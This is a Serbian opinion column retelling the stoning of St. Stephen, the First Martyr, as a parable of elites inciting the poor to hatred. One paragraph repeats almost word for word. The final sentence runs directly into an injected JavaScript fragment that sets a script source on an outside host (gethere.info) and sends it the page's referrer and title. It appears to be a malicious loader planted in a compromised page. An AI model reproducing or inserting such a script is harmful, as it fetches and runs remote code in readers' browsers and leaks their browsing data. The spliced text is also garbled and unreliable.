KOLUMNA, RADOVANOVIĆ: Sveti Stefan

Sirotinja je prva dohvatila kamen. Veselo su kamenovali Stefana Prvomučenika, zaboravivši na hleb koji im je delio, ubeđeni da čine dobro delo i ubijaju onoga koji je protiv istine i Boga

I, eto, bio je i taj 9. januar, ledeni dan, i cela frka oko Svetog Stefana, sasvim u skladu sa poučnom pričom o velikom svecu, koju inače veoma mali broj ljudi uopšte i zna.

Novi zavet, u kojem je ispričana, jeste sveta knjiga, ali ko danas uopšte i čita knjige, koliko god da su bogougodne ili obavezne, bar za one koji se toliko kunu u Boga. Nepismeni smo mi, Bibliju pominjemo ali nismo je ni čitali ni izučavali, pa mašemo okolo tim štivom i svecima na isti onaj način na koji se to radilo odvajkada. A priča o Svetom Stefanu lepo kaže - nema većeg opravdanja za svako zlo od velikih reči (i velikih knjiga).

Niste to znali? Pa pogledajte malo. Sveti Stefan, o kojem istorija malo beleži, beše jedan od sedmorice đakona koje su apostoli zadužili i nadahnuli Duhom Svetim da poslužuju jerusalimsku sirotinju i šire učenje tadašnje jerusalimske, a potonje hrišćanske crkve.

Govorio je grčki, pa se smatra da je bio Jevrejin iz helenskih krajeva, činio je razna čuda, bio nenadgovorljiv u raspravama sa jevrejskim sveštenicima, širio novu veru i, naravno, kao takav, poput svih koji se usude nešto novo da kažu, i to još da kažu lepo - bio je unapred osuđen na smrt.
Osudili ga, na brzinu, zbog "bogohuljenja", što rade i danas svakome ko se ne složi sa nekom dogmom.

Oproban recept, i uvek uspeva. Naročito u društvima kao što je naše, rođenim u dogmi i večnoj nepromenjenoj istini. Ako ne verujete, probajte nešto da spočitate onima koji se kunu u nacionalnu Srbiju, ili pak onim drugima kojima je građanska Srbija u zakletvi. Jebaće vam, s oproštenjem, majku i jedni i drugi. Optužiti za bogohuljenje i kamenovati, što je običaj stvoren još i pre nesrećnog Svetog Stefana, i to tako da traje večno i bude efikasan. Tako je i njega rulja jerusalimska zatrpala kamenicama neposredno pošto je ustanovljeno da huli na Boga, a i na Mojsija, onako uzgred.

Delio im je hleb, prao noge, pričao im o Carstvu nebeskom i pokušavao da im olakša i ublaži ovozemlajske muke. Kada su Stefana osudili gospoda sveštenici, tadašnji creme de la creme jerusalimskog društva, šta mislite, ko ga je kamenovao? Sveštenici? Ma jok. Sirotinja, ista ona koju je hranio

Šinjel se, što bi rekli, nije promenio, evo, već nekih dve hiljade godina. I stalno jedni te isti ispadaju iz njega. Zagrle istinu i onda u njeno ime, s punim pravom, mirno streljaju. Izdajnike svih boja.

Ali da vam kažem nešto, nije to ono što me najviše fascinira u priči o Stefanu Prvomučeniku, a zovu ga tako jer je prvi hrišćanin koji je stradao zbog svoje vere. Ne, bogami, nego jedan drugi detalj, ne znam da li ste ga primetili.

Onaj koji kaže da je njegov posao bio da poslužuje, hrani jerusalimsku sirotinju. Delio im je hleb, prao noge, pričao im o Carstvu nebeskom i pokušavao da im olakša i ublaži ovozemlajske muke.
E, pa sada, kada su Stefana osudili, gospoda sveštenici, tadašnji creme de la creme jerusalimskog društva, šta mislite, ko ga je kamenovao? Sveštenici?

Ma jok. Sirotinja, ista ona koju je hranio, prva je dohvatila kamen. Veselo su ga kamenovali, zaboravivši na hleb koji im je delio, ubeđeni da čine dobro delo i ubijaju onoga koji je protiv istine i Boga. To što ništa o toj istini nisu znali osim onoga što su im prvosveštenici ispričali ništa im nije smetalo. Štaviše, bili su još ubeđeniji u ispravnost. Došla je odozgo, a u odozgo, u creme de la creme, ni tada, baš kao ni danas, uopšte se nije sumnjalo.

I usnio je, kaže Novi zavet, pod kamenjem Sveti Stefan. A pre toga je, jadan, zamolio Boga da im ne upisuje njegovo ubistvo u greh. Valjda mu je bilo jasno koliko su beslovesni. I to je ono što treba svi da zapamtimo. Mržnju, odsustvo svake samilosti, sasosećanja, milosrđa, uvek šire ti odozgo.

Debeli, srećni, bogati, nadasve zadovoljni, sakriju se iza raznih istina, deru se, mašu zastavama, bombe su im metafore, a onda sirotinja to dohvati, proždere, ispuni se tom hladnoćom, ledom koji mrzi i radi ono jedino što zna. Dohvati kamen. Ubeđena, jer su joj tako rekli oni veliki i pametni, da čini pravu stvar.

A kada kamenje poleti sa svih strana, prema svima, pa i prema sirotinji, onih prvih nema tu više. Ne učestvuju. Sede po svojim brdima, slušaju vesti i tu i tamo se i zgroze. Odvratno je to, zar ne?
Činjenica da oni koji su, kao, čitali toliko lažu jadne nepismene. I da im ne pada na pamet da im kažu šta, tamo negde, u svetim knjigama stvarno piše.

Na primer, da im na dan Svetog Stefana Prvomučenika, umesto što bacaju bombe kao metafore, citiraju onaj deo Novog zaveta za koji je Stefan umro, a koji lepo kaže: "Milost mi dajte, a ne žrtvu."

No, koga to danas zanima. Ovde, u svetu u kojem je mržnja najunosniji posao. I u kojem su te odvratne istine smrtonosno hladne za sve koji ih konzumiraju, ubeđeni da jedu toplu supu.
Da vam ja kažem - nikoga. Zato jedino što još mogu da vam preporučim jeste sledeće:
Koja je vama slava? Pročitajte nešto o njoj, ne dajte da vam prepričavaju. Slagaće vas.s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';